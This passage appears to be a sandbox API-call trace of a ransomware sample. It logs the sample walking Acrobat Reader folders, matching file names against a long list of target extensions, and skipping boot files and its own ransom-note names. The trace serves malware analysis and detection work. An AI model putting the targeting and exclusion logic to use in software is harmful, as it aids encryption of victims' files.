lstrlenW (lpString=".indd") returned 5 [0273.670] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0273.670] lstrlenW (lpString=".ini") returned 4 [0273.670] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".iqy") returned 4 [0273.670] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".j2c") returned 4 [0273.670] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".j2k") returned 4 [0273.670] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".java") returned 5 [0273.670] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0273.670] lstrlenW (lpString=".jp2") returned 4 [0273.670] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".jpc") returned 4 [0273.670] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".jpe") returned 4 [0273.670] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".jpeg") returned 5 [0273.670] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0273.670] lstrlenW (lpString=".jpf") returned 4 [0273.670] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0273.671] lstrlenW (lpString=".jpg") returned 4 [0273.671] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0273.671] lstrlenW (lpString=".jpx") returned 4 [0273.671] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0273.671] lstrlenW (lpString=".js") returned 3 [0273.671] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.671] lstrlenW (lpString="ui-strings.js") returned 13 [0273.671] lstrlenW (lpString=".love$") returned 6 [0273.671] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0273.671] lstrlenW (lpString="ui-strings.js") returned 13 [0273.671] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0273.671] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0273.671] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js") returned 133 [0273.671] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.671] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0273.672] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.672] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0273.672] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si") returned 119 [0273.672] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si") returned 1 [0273.672] lstrlenW (lpString="sl-si") returned 5 [0273.672] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1 [0273.672] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.672] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si") returned 119 [0273.672] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0273.672] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.672] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.672] lstrlenW (lpString="ui-strings.js") returned 13 [0273.672] lstrlenW (lpString=".1cd") returned 4 [0273.673] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".3ds") returned 4 [0273.673] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".3fr") returned 4 [0273.673] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".3g2") returned 4 [0273.673] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".3gp") returned 4 [0273.673] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".7z") returned 3 [0273.673] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.673] lstrlenW (lpString=".accda") returned 6 [0273.673] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.673] lstrlenW (lpString=".accdb") returned 6 [0273.673] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.673] lstrlenW (lpString=".accdc") returned 6 [0273.673] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.673] lstrlenW (lpString=".accde") returned 6 [0273.673] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.673] lstrlenW (lpString=".accdt") returned 6 [0273.673] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.673] lstrlenW (lpString=".accdw") returned 6 [0273.673] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.673] lstrlenW (lpString=".adb") returned 4 [0273.673] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".adp") returned 4 [0273.673] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.673] lstrlenW (lpString=".ai") returned 3 [0273.673] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.673] lstrlenW (lpString=".ai3") returned 4 [0273.674] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".ai4") returned 4 [0273.674] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".ai5") returned 4 [0273.674] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".ai6") returned 4 [0273.674] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".ai7") returned 4 [0273.674] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".ai8") returned 4 [0273.674] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".anim") returned 5 [0273.674] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.674] lstrlenW (lpString=".arw") returned 4 [0273.674] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".as") returned 3 [0273.674] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.674] lstrlenW (lpString=".asa") returned 4 [0273.674] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".asc") returned 4 [0273.674] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".ascx") returned 5 [0273.674] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.674] lstrlenW (lpString=".asm") returned 4 [0273.674] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".asmx") returned 5 [0273.674] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.674] lstrlenW (lpString=".asp") returned 4 [0273.674] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.674] lstrlenW (lpString=".aspx") returned 5 [0273.674] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.675] lstrlenW (lpString=".asr") returned 4 [0273.675] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".asx") returned 4 [0273.675] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".avi") returned 4 [0273.675] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".avs") returned 4 [0273.675] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".backup") returned 7 [0273.675] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.675] lstrlenW (lpString=".bak") returned 4 [0273.675] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".bay") returned 4 [0273.675] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".bd") returned 3 [0273.675] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.675] lstrlenW (lpString=".bin") returned 4 [0273.675] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".bmp") returned 4 [0273.675] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".bz2") returned 4 [0273.675] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".c") returned 2 [0273.675] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.675] lstrlenW (lpString=".cdr") returned 4 [0273.675] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".cer") returned 4 [0273.675] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.675] lstrlenW (lpString=".cf") returned 3 [0273.676] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.676] lstrlenW (lpString=".cfc") returned 4 [0273.676] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".cfm") returned 4 [0273.676] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".cfml") returned 5 [0273.676] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.676] lstrlenW (lpString=".cfu") returned 4 [0273.676] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".chm") returned 4 [0273.676] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".cin") returned 4 [0273.676] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".class") returned 6 [0273.676] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.676] lstrlenW (lpString=".clx") returned 4 [0273.676] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".config") returned 7 [0273.676] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.676] lstrlenW (lpString=".cpp") returned 4 [0273.676] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".cr2") returned 4 [0273.676] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".crt") returned 4 [0273.676] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".crw") returned 4 [0273.676] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.676] lstrlenW (lpString=".cs") returned 3 [0273.676] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.676] lstrlenW (lpString=".css") returned 4 [0273.677] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".csv") returned 4 [0273.677] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".cub") returned 4 [0273.677] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dae") returned 4 [0273.677] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dat") returned 4 [0273.677] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".db") returned 3 [0273.677] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.677] lstrlenW (lpString=".dbf") returned 4 [0273.677] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dbx") returned 4 [0273.677] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dc3") returned 4 [0273.677] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dcm") returned 4 [0273.677] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dcr") returned 4 [0273.677] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".der") returned 4 [0273.677] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dib") returned 4 [0273.677] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.677] lstrlenW (lpString=".dic") returned 4 [0273.677] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".dif") returned 4 [0273.678] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".divx") returned 5 [0273.678] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.678] lstrlenW (lpString=".djvu") returned 5 [0273.678] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.678] lstrlenW (lpString=".dng") returned 4 [0273.678] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".doc") returned 4 [0273.678] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".docm") returned 5 [0273.678] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.678] lstrlenW (lpString=".docx") returned 5 [0273.678] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.678] lstrlenW (lpString=".dot") returned 4 [0273.678] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".dotm") returned 5 [0273.678] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.678] lstrlenW (lpString=".dotx") returned 5 [0273.678] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.678] lstrlenW (lpString=".dpx") returned 4 [0273.678] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".dqy") returned 4 [0273.678] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".dsn") returned 4 [0273.678] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.678] lstrlenW (lpString=".dt") returned 3 [0273.678] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.678] lstrlenW (lpString=".dtd") returned 4 [0273.679] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".dwg") returned 4 [0273.679] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".dwt") returned 4 [0273.679] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".dx") returned 3 [0273.679] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.679] lstrlenW (lpString=".dxf") returned 4 [0273.679] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".edml") returned 5 [0273.679] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.679] lstrlenW (lpString=".efd") returned 4 [0273.679] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".elf") returned 4 [0273.679] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".emf") returned 4 [0273.679] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".emz") returned 4 [0273.679] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".epf") returned 4 [0273.679] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.679] lstrlenW (lpString=".eps") returned 4 [0273.679] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.679] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.680] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0273.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.680] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0273.680] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.680] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl") returned 119 [0273.680] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0273.680] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.680] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0273.680] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0273.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.680] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0273.681] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se") returned 119 [0273.681] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se") returned 1 [0273.681] lstrlenW (lpString="sv-se") returned 5 [0273.681] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0273.681] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.681] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se") returned 119 [0273.681] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0273.681] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.681] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.681] lstrlenW (lpString="ui-strings.js") returned 13 [0273.681] lstrlenW (lpString=".1cd") returned 4 [0273.681] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.681] lstrlenW (lpString=".3ds") returned 4 [0273.681] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.681] lstrlenW (lpString=".3fr") returned 4 [0273.681] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.681] lstrlenW (lpString=".3g2") returned 4 [0273.681] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.681] lstrlenW (lpString=".3gp") returned 4 [0273.681] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".7z") returned 3 [0273.682] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.682] lstrlenW (lpString=".accda") returned 6 [0273.682] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.682] lstrlenW (lpString=".accdb") returned 6 [0273.682] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.682] lstrlenW (lpString=".accdc") returned 6 [0273.682] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.682] lstrlenW (lpString=".accde") returned 6 [0273.682] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.682] lstrlenW (lpString=".accdt") returned 6 [0273.682] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.682] lstrlenW (lpString=".accdw") returned 6 [0273.682] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.682] lstrlenW (lpString=".adb") returned 4 [0273.682] lstrcmpiW (lpString1=".adb", 